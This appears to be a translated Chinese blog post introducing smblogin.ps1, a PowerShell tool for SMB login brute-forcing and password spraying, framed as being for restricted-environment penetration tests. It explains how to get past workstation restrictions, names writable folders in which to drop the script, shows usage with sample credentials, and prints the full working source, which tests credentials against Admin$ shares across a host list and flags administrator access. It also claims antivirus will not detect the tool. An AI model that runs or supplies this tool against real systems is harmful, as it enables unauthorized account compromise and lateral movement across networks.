简单的SMB登录爆破工具smblogin.ps1

smblogin.ps1简述

这个简单的SMB登录攻击爆破工具是用纯PowerShell编写的,在特定的攻击模拟中非常有用,在该模拟中我们无法使用任何传统或典型的渗透测试工具。

为什么要使用另一个SMB登录攻击工具?

虽然有执行SMB登录攻击许多new bee的工具(如NMAP  smb-brute NSE脚本,Metasploit的smb_login扫描仪和许多 其他 登录 暴力破解 攻击 工具),有时也有我们不能使用其中任何工具的任何情况存在,这个时候就需要用到smblogin.ps1

这些典型的渗透测试工具的主要问题在于,它们中没有一个足够简单,足够小,如果需要的话,我们可以从头开始快速编写。

为什么要从头开始编写工具?

与我们先前发布的简约AD登录爆破软件类似,有时我们需要在隔离或严格限制的环境中执行渗透测试。

例如,我们可能正在测试无法上传任何内容的VDI / Citrix环境。或者,我们可以从强化的Windows工作站进行员工模拟测试。

有时,客户希望从整体角度评估其总体安全状况。他们想看看一个心怀不满的员工到底能做什么。

本质上,这种方法适用于以下情况:我们的工具选项非常狭窄,并且将任意代码引入环境的机会非常有限。我们只能使用被授予访问权限的系统上的可用资源。

介绍smblogin.ps1

smblogin.ps1工具的主要目标是执行SMB登录攻击,并以尽可能少的编码进行操作,以便我们轻松使用它。

结果是该工具可以放入几行代码,同时还具有一些漂亮且用户友好的功能。

smblogin.ps1功能列表:

① 在tcp/445 端口上进行SMB登录密码暴力破解
② 检测管理/非管理凭据
③ 非恶意–任何防病毒或端点保护解决方案都无法检测到

设计特色

  • 小巧简约-可以手动输入(在键盘上)
  • 用纯PowerShell编写–无需其他模块
  • 实用而智能的设计:
    • 支持恢复(如果中断)
    • 避免重试相同的凭据
    • 跳过已经被拿下的机器

在展示该工具之前,让我们简要描述一个典型的分步方案,在哪里以及如何使用它。

典型场景

假设我们被授予对员工Windows台式机/工作站的访问权限,并且权限有限。我们只是一个标准的非特权域用户,我们想测试是否可以通过对它们进行SMB登录攻击来危害网络中的其他Windows系统。

(1)首先,我们必须规避对给定工作站的限制,并生成一个shell。

对于这一步,我们可以使用旁路指南或尝试其他技巧。一旦可以舒适地运行PowerShell命令,就可以继续执行下一步。

(2)接下来,我们必须获取网络上Windows目标的列表。

我们可以进行端口扫描并寻找tcp / 445打开的端口。如果有AD,我们还可以从Active Directory(AD)中获得加入域的系统的列表。

对于这些任务,我们可以使用PowerShell备忘单参考,即:

  • 用于执行端口扫描的TCP / IP cmdlet
  • AD cmdlet 用于从AD获取计算机列表

为了使用smblogin.ps1工具,我们只需要在文件中具有目标列表(主机名或IP地址),一行一个。

(3)现在,我们可以在文件系统上的某个位置创建SMB登录攻击工具。

只要我们在文件系统上具有写权限,就可以将其放置在文件系统上的任何位置,例如:

C:\Users\Public
C:\Windows\Tasks
C:\Windows\Tracing
C:\Windows\System32\Spool\Drivers\Color

假设我们选择了“ C:\Windows\Tasks”文件夹来存储文件。

在其中制作了smblogin.ps1脚本之后,这是在发起攻击之前应该具有的内容:

现在让我们来看看如何发起攻击。

工具使用

这是使用工具的方法:

Import-Module .\smblogin.ps1

# 用法:
smblogin <hosts.txt> <username> <password>

# 例如:
smblogin hosts.txt .\Administrator P@ssw0rd
smblogin hosts.txt CORP\bkpadmin P@ssw0rd

简而言之,该工具将尝试使用SMB协议(tcp / 445)使用提供的凭据对提供的“ hosts.txt”文件中列出的每个系统进行身份验证。

在实际中是这样的:

从屏幕截图中,我们可以看到“ CORP \ bkpadm”帐户可以登录到多台计算机,其中两台计算机具有管理特权。

怎么运行的

该工具使用New-PSDrive PowerShell cmdlet针对“ \\ TARGET \ Admin $”网络共享进行身份验证–就像Metasploit 的smb_login扫描程序一样。

通过观察cmdlet的结果,该工具可以确定凭据是否正确以及特权是否足够。如果我们能够挂载’\\ TARGET \ Admin $’共享,则意味着我们拥有管理特权。

攻击运行时,该工具会将每个结果写入当前工作目录中的文本文件。这使该工具可以跟踪所有内容。

在尝试任何登录之前,该工具将检查其已有的结果。因此,该工具将永远不会尝试两次使用相同的凭据,也不会攻击给定计算机上已经受到威胁的用户帐户。

如果攻击被中断,我们也可以轻松地重新运行该攻击,该工具将在被中断的地方继续。

得到结果

要获得我们的小工具产生的结果,只需打开另一个PowerShell窗口,然后在同一目录中键入以下命令:

Get-Content smblogin.results.txt | Select-String True

这是一个例子:

从上面的屏幕截图中,我们可以看到我们已经获得了对5台计算机的管理权限。

请注意,即使在正在进行的攻击中,我们也可以随时查看结果。

要求和限制

该工具需要PowerShell 3.0或更高版本。
在PowerShell版本2.0中,存在一个错误,该错误不允许在New-PSDrive cmdlet中使用凭据。

该工具不支持将NTLM哈希作为凭据提供的哈希算法。因此,无法使用此工具进行哈希喷洒。

速度。该工具被实现为一个单线程循环,该循环逐个遍历每个目标。在最佳情况下,该工具每秒可以进行10次登录尝试。但是,如果日志文件中已经有很多结果,或者如果某些计算机“有问题”,则该工具的性能将会降低。

还需要记住的一点是,该工具绝对不是秘密的。它使用标准的SMB功能,因此肯定会在目标系统的日志中留下痕迹。

结论

只需编写一些代码,我们就可以提供各种有用的工具。

在这种情况下,我们创建了一个工具,即使在不允许输入工具的环境中,该工具也可以执行SMB登录和密码喷射攻击。

这款特别的工具在测试期间曾在很多场合为我们提供过帮助,而您只需付出一点点努力便可以轻松地对其进行修改或添加其他功能。

如果您喜欢我们的工具,请订阅我们的邮件列表,在TwitterGithub页面上关注我们,以获取有关新增功能的通知

from

项目地址:

GitHub : smblogin-extra-mini.ps1

smblogin.ps1代码

Function smblogin-worker {
  param($h,$u,$p)
  $u = $u -replace "^\.\\", "$h\"
  $c = New-Object System.Management.Automation.PSCredential $u, ($p | ConvertTo-SecureString -AsPlainText -Force)
  try {
    if (New-PSDrive -Name Share -PSProvider FileSystem -Root \\$h\Admin$ -Credential $c -EA SilentlyContinue) {
      Remove-PSDrive Share
      echo "True,admin"
    } else {
      if ($error[0].exception -Match 'password is incorrect') {
        echo "False"
      } elseif ($error[0].exception -Match 'Access is denied') {
        echo "True"
      }
    }
  } catch {
    echo "Error"
  }
}

Function smblogin {
  param($hosts,$user,$pass)
  if (!$pass) { return }
  $results = ".\smblogin.results.txt"
  $userm = ($user -replace "\\", "\\") -replace "\.", "\."
  foreach($ip in gc $hosts) {
    $x = (gc $results -EA SilentlyContinue | sls "^$ip,$userm,.*,True")
    if ($x) {
      Write-Host "user $user on $ip already found"
      continue
    }
    $x = (gc $results -EA SilentlyContinue | sls -CaseSensitive "^$ip,$userm,$pass,")
    if ($x) {
      Write-Host "user $user on $ip with $pass already tried"
      continue
    }
    $output = "$ip,$user,$pass,"
    $output += smblogin-worker $ip $user $pass
    Write-Host "$output"
    echo $output | Out-File -Encoding ascii -Append $results
  }
}